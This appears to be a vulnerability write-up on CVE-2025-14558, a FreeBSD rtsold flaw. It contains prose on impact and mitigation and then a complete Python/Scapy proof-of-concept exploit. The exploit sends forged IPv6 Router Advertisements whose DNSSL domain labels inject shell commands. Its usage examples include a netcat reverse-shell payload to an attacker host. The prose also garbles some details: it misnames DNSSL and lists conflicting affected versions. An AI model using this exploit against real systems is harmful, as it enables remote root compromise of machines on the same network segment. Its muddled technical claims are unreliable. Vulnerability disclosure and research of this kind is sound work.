Overview
The vulnerability identified as CVE-2025-14558 affects the rtsold service in FreeBSD versions 15.x, allowing for remote code execution via malicious DNS Service Discovery (DNSSL) packets. This critical flaw arises from improper validation of incoming DNSSL options, which can be exploited by an attacker to execute arbitrary code on vulnerable systems.
Technical Details
FreeBSD’s rtsold is responsible for managing Router Advertisement messages and handling DNS Service Discovery. The vulnerability occurs when the service processes DNSSL options without adequate checks. An attacker can craft a specially designed DNSSL packet containing malicious payloads. When rtsold receives this packet, it may inadvertently execute the code embedded within, leading to a complete compromise of the affected system.
For instance, if a network is configured to accept DNSSL packets from untrusted sources, an adversary could deploy this attack remotely, requiring no physical access to the network. This makes the vulnerability particularly dangerous in environments where FreeBSD systems are deployed as routers or gateways.
Impact
The potential consequences of exploiting CVE-2025-14558 are severe, as attackers can gain unauthorized access to sensitive data, disrupt services, or even take full control of the affected devices. This could lead to data breaches, loss of integrity, and significant downtime, posing a critical risk to organizations relying on FreeBSD systems for their infrastructure.
Mitigation
To protect against this vulnerability, security professionals should immediately apply the latest patches provided by FreeBSD. Regularly updating systems is crucial in mitigating known vulnerabilities. Additionally, it is advisable to implement strict network segmentation and filtering rules to restrict DNSSL traffic to trusted sources only.
Organizations should also consider deploying intrusion detection systems (IDS) that can monitor for unusual DNSSL traffic patterns. Regular security audits and vulnerability assessments can help identify and remediate potential weaknesses within the network infrastructure, ensuring a robust defense against such vulnerabilities.
Proof of Concept (PoC)
# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
# Date: 2025-12-16
# Exploit Author: Lukas Johannes Möller
# Vendor Homepage: https://www.freebsd.org/
# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
# Tested on: FreeBSD 14.1-RELEASE
# CVE: CVE-2025-14558
#
# Description:
# rtsold(8) processes IPv6 Router Advertisement DNSSL options without
# validating domain names for shell metacharacters. The decoded domains
# are passed to resolvconf(8), a shell script that uses unquoted variable
# expansion, enabling command injection via $() substitution.
#
# Requirements:
# - Layer 2 adjacency to target
# - Target running rtsold with ACCEPT_RTADV enabled
# - Root privileges (raw socket for sending RA)
# - Python 3 + Scapy
#
# References:
# https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
# https://github.com/JohannesLks/CVE-2025-14558
import argparse
import struct
import sys
import time
try:
from scapy.all import (
Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
)
except ImportError:
sys.exit("[!] Scapy required: pip install scapy")
def encode_domain(name):
"""Encode domain in DNS wire format (RFC 1035)."""
result = b""
for label in name.split("."):
if label:
data = label.encode()
result += bytes([len(data)]) + data
return result + b"x00"
def encode_payload(cmd):
"""Encode payload as DNS label with $() wrapper for command substitution."""
payload = f"$({cmd})".encode()
if len(payload) > 63:
# Split long payloads across labels (dots inserted on decode)
result = b""
while payload:
chunk = payload[:63]
payload = payload[63:]
result += bytes([len(chunk)]) + chunk
return result + b"x00"
return bytes([len(payload)]) + payload + b"x00"
def build_dnssl(cmd, lifetime=0xFFFFFFFF):
"""Build DNSSL option (RFC 6106) with injected command."""
data = encode_domain("x.local") + encode_payload(cmd)
# Pad to 8-byte boundary
pad = (8 - (len(data) + 8) % 8) % 8
data += b"x00" * pad
# Type=31 (DNSSL), Length in 8-octet units
length = (8 + len(data)) // 8
return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data
def build_ra(mac, payload):
"""Build Router Advertisement with malicious DNSSL."""
return (
Ether(src=mac, dst="33:33:00:00:00:01")
/ IPv6(src="fe80::1", dst="ff02::1", hlim=255)
/ ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
/ ICMPv6NDOptSrcLLAddr(lladdr=mac)
/ ICMPv6NDOptPrefixInfo(
prefixlen=64, L=1, A=1,
validlifetime=2592000, preferredlifetime=604800,
prefix="2001:db8::"
)
/ Raw(load=build_dnssl(payload))
)
def main():
p = argparse.ArgumentParser(
description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
epilog="Examples:n"
" %(prog)s -i eth0n"
" %(prog)s -i eth0 -p 'id>/tmp/pwned'n"
" %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
formatter_class=argparse.RawDescriptionHelpFormatter
)
p.add_argument("-i", "--interface", required=True, help="Network interface")
p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
args = p.parse_args()
try:
mac = get_if_hwaddr(args.interface)
except Exception as e:
sys.exit(f"[!] Interface error: {e}")
print(f"[*] Interface: {args.interface} ({mac})")
print(f"[*] Payload: {args.payload}")
pkt = build_ra(mac, args.payload)
for i in range(args.count):
sendp(pkt, iface=args.interface, verbose=False)
print(f"[+] Sent RA {i+1}/{args.count}")
if i < args.count - 1:
time.sleep(1)
print("[+] Done")
if __name__ == "__main__":
main()